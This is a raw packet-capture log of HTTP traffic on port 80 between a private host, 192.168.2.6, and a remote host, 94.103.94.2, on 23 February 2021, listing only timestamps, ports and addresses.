Feb 23, 2021 10:04:53.494827032 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494836092 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494853020 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494859934 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494870901 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494888067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494899035 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494906902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494924068 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494940996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494940996 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494961977 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494966030 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.494982004 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.494997978 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495016098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495019913 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.495033979 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495050907 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495057106 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.495069027 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495079994 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.495086908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495106936 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.495110035 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495137930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495156050 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.495162964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495177984 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495197058 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.495240927 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.495543003 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.534828901 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.534861088 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.534878969 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.534899950 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.534918070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.534935951 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.534953117 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.534970045 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.534987926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535005093 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535022974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535043955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535058975 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535075903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535094023 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535095930 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535110950 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535132885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535152912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535170078 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535187960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535204887 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535218000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535243034 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535269976 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535286903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535304070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535320044 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535326004 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535346985 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535365105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535383940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535403013 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535407066 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535420895 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535439014 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535459042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535479069 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535480022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535502911 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535520077 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535538912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535546064 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535557985 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535578012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535594940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535612106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535614967 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535634995 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535655022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535672903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535689116 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535692930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535711050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535727978 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535746098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535756111 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535763025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535784960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535804033 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535820007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535837889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535840034 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535856009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535872936 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535890102 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535907030 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535913944 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.535921097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535933971 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.535979033 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536009073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536024094 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536036968 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536050081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536068916 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536083937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536097050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536114931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536127090 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.536132097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536154032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536173105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536191940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536209106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536221981 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.536226988 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536247015 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536267996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536288023 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536305904 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536314011 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.536324024 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536343098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536360025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536376953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536395073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536417007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536418915 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.536436081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536453962 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536473989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536490917 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536493063 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.536508083 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536526918 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536545992 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536567926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536576986 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.536587000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536606073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536628008 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536648035 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536664009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536665916 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.536684036 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536700964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536724091 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536742926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536760092 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.536761045 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536780119 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536798000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536814928 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536833048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536834002 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.536849976 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536871910 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536890030 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536906958 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536917925 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.536925077 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536943913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536961079 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536978960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.536998034 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537008047 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.537019014 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537039042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537056923 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537074089 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537091970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537108898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537108898 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.537127018 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537146091 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537168026 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537185907 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537195921 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.537204027 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537221909 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.537293911 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.538731098 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.539020061 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.539127111 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.539186001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.539218903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.539302111 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.541688919 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.543981075 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544020891 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544040918 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544064999 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544090033 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544114113 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544115067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544142962 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544168949 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544193983 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544203043 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544219017 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544243097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544255018 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544267893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544272900 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544297934 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544322968 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544325113 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544347048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544373989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544382095 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544399023 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544421911 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544430017 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544447899 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544472933 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544473886 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544504881 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544534922 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544559956 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544568062 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544589043 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544612885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544615984 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544639111 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544646978 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544665098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544697046 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544720888 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544763088 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544787884 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544789076 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544814110 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544836044 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544847965 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544862032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544887066 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544892073 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544910908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544936895 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544950008 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.544966936 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.544991016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.545000076 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.545021057 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.545047045 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.545066118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.545085907 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.545103073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.545123100 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.545142889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.545162916 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.545252085 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.550029993 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.550766945 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.583830118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.583868980 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.583893061 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.583919048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.583941936 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.583967924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.583969116 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.583995104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.584032059 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.585582972 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585624933 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585649967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585650921 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.585675955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585700035 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585702896 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.585730076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585753918 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585764885 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.585777998 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585798025 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.585803032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585827112 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585850000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585853100 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.585875034 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585896969 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.585900068 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585932970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585942030 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.585958958 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.585983992 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586008072 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586009026 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586038113 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586050034 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586054087 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586080074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586105108 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586128950 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586148977 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586157084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586179018 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586182117 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586206913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586206913 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586231947 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586246967 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586261988 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586288929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586308956 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586312056 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586338043 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586354971 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586364031 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586386919 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586409092 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586411953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586435080 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586452007 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586463928 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586489916 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586503983 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586515903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586539984 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586555958 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586566925 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586591959 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586605072 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586616993 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586643934 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586653948 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586672068 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586697102 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586709023 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586723089 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586746931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586757898 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586769104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586791039 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586812019 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.586813927 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.586837053 CET	80	49774	94.103.94.2	192.168.2.6
